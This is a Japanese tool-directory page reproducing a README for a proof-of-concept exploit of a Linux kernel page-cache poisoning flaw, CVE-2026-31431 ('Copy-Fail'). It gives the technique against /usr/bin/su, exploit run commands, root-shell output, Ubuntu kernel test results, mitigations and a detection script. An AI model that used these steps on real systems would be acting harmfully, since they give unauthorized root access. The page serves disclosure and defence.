Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
linux-copy-fail-CVE-2026-31431 — CVE-2026-31431(Copy-Fail)の概念実証エクスプロイト。LinuxカーネルのAF_ALGおよびsplice()の欠陥を利用し、ページキャッシュポイズニングとローカル権限昇格を可能にします。分析、ラボ結果、検出スクリプトを含みます。 | Kitploit
ツール/GitHubGitHub/adilkurtulmus/linux-copy-fail-cve-2026-31431
特権昇格メモリフォレンジック脆弱性分析エクスプロイト学習と教育バイナリエクスプロイトラボと実践
GitHubadilkurtulmus/linux-copy-fail-cve-2026-31431

linux-copy-fail-CVE-2026-31431

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431(Copy-Fail)の概念実証エクスプロイト。LinuxカーネルのAF_ALGおよびsplice()の欠陥を利用し、ページキャッシュポイズニングとローカル権限昇格を可能にします。分析、ラボ結果、検出スクリプトを含みます。

リポジトリを見る
3ヶ月前未レビュー

Linux Copy-Fail 分析 (CVE-2026-31431) 🛡️

このリポジトリには、通称「Copy-Fail」として知られる CVE-2026-31431 脆弱性に関する詳細な分析、概念実証 (PoC)、およびラボテスト結果が含まれています。

Copy-Fail は、Linux カーネルの Crypto API (AF_ALG) と splice() システムコールを組み合わせたロジックの欠陥を悪用します。これにより、権限のないローカル攻撃者がページキャッシュポイズニングを実行し、ローカル権限昇格 (LPE) につながる可能性があります。

🧠 技術概要: ページキャッシュポイズニング

ディスク上のファイルを変更する従来のエクスプロイトとは異なり、Copy-Fail はページキャッシュ (RAM) を直接標的にします。ファイルが読み取られると、カーネルはパフォーマンス向上のために RAM にコピーを保存します。特定のカーネルバージョンの authenc アルゴリズムにおけるメモリ管理のバグにより、攻撃者はカーネルを欺いて、これらの「読み取り専用」メモリページを上書きさせることができます。

/usr/bin/su などの SETUID バイナリのメモリページをポイズニングすることで、認証をバイパスし、root シェルを起動することが可能になります。

🧪 ラボ環境とテスト結果

複数の Ubuntu ディストリビューションでテストが実施され、カーネルのバックポートとパッチ管理の影響が特に調査されました。

ディストリビューションカーネルバージョンパッチ日付結果観察
Ubuntu 24.046.8.0-87-generic2025年10月❌ 失敗セキュリティ更新が有効
Ubuntu 22.045.15.0-125-generic2024年9月✅ 成功脆弱 (未パッチ)
Ubuntu 18.044.15.0-197-generic2022年11月✅ 成功脆弱 (未パッチ)

バックポートのパラドックス

カーネルのバージョン番号は誤解を招く可能性があります。6.8 などの「新しい」カーネルはセキュリティパッチで保護されていますが、4.15 や 5.15 などの古い、または EOL (サポート終了) のカーネルは、バックポートされた修正が欠如しているため、完全に脆弱なままでした。

📊 Ubuntu 22.04 (カーネル 5.15) 比較分析

調査中に、同じメジャーカーネルバージョンを共有する 2 つの異なる Ubuntu 22.04 システムをテストしたところ、顕著な結果が得られました:

カーネルバージョンパッチ日付

分析:

このテストは、システムのセキュリティがメジャーバージョン番号だけで測定できないことを証明しています。5.15.0-125 を実行しているサーバーは数秒で root 化される可能性がありますが、5.15.0-170 は攻撃を完全にブロックします。

エクスプロイト成功時の出力 (カーネル 5.15.0-125):

root@kitploit:~
$ python3 ubuntu_22.04_copy_fail_exploit.py 
[*] /usr/bin/su をポイズニング中 (Ubuntu 22.04 / カーネル 5.15)...
[+] エクスプロイト完了。Root をトリガー中...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#

🛠️ 概念実証 (PoC)

PoC は、さまざまな Python バージョン (特にネイティブの os.splice サポートがないバージョン) 間の互換性を確保するために ctypes を使用して開発されました。

主な機能:

  • ctypes による低レベルの libc.splice 呼び出し。
  • ターゲットバイナリの強制キャッシュ。
  • 横断的影響の実証 (1 人のユーザーによるポイズニングが全ユーザーに影響)。

エクスプロイトの実行:

1. 必要な crypto モジュールをロード:

sudo modprobe af_alg algif_aead authenc echainiv

2. エクスプロイトを実行:

python3 final_exploit.py

🎥 デモンストレーション

root@kitploit:~
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su をポイズニング中 (カーネル 4.15)...
[+] メモリがポイズニングされました! Root をトリガー中...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#

🛡️ 緩和策と予防

  • 1. 決定的な解決策: カーネル更新

  • sudo apt update && sudo apt upgrade -y
  • sudo reboot

2. 緊急対応: キャッシュのフラッシュ

  • メモリ内のポイズニングされたページをクリアするため

sync; echo 3 | sudo tee /proc/sys/vm/drop_caches

3. 予防的防御: モジュールのブラックリスト登録

  • echo "blacklist authenc" | sudo tee /etc/modprobe.d/blacklist-authenc.conf
  • echo "blacklist algif_aead" | sudo tee -a /etc/modprobe.d/blacklist-authenc.conf
  • sudo depmod -a

🛡️ 脆弱性検出スクリプト

root@kitploit:~
# 1. カーネルバージョンを確認
# uname -r

# 2. ロードされたモジュールを確認 (出力がなければ安全)
# lsmod | grep -E "algif_aead|authencesn"

# 3. 重要なテスト — authencesn バインド
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('[!] 重大 — システムは脆弱です!')
    s.close()
except:
    print('[+] 安全 — authencesn に到達できません')
"

# 4. setuid バイナリのハッシュ (参照用)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd

評価表:

結果意味
lsmod 出力なし + バインドエラー✅ 安全
lsmod 出力あり、またはバインド成功⚠️ 脆弱、直ちにパッチを適用してください

免責事項: この調査と PoC は、教育および許可されたセキュリティテストの目的のみに使用されます。許可されていないシステムでの使用は、法的結果を招く可能性があります。

ツールをダウンロード
結果
ステータス
5.15.0-1252024年9月✅ 成功脆弱 (エクスプロイト発動)
5.15.0-1702026年1月❌ 失敗安全 (パッチ適用済み)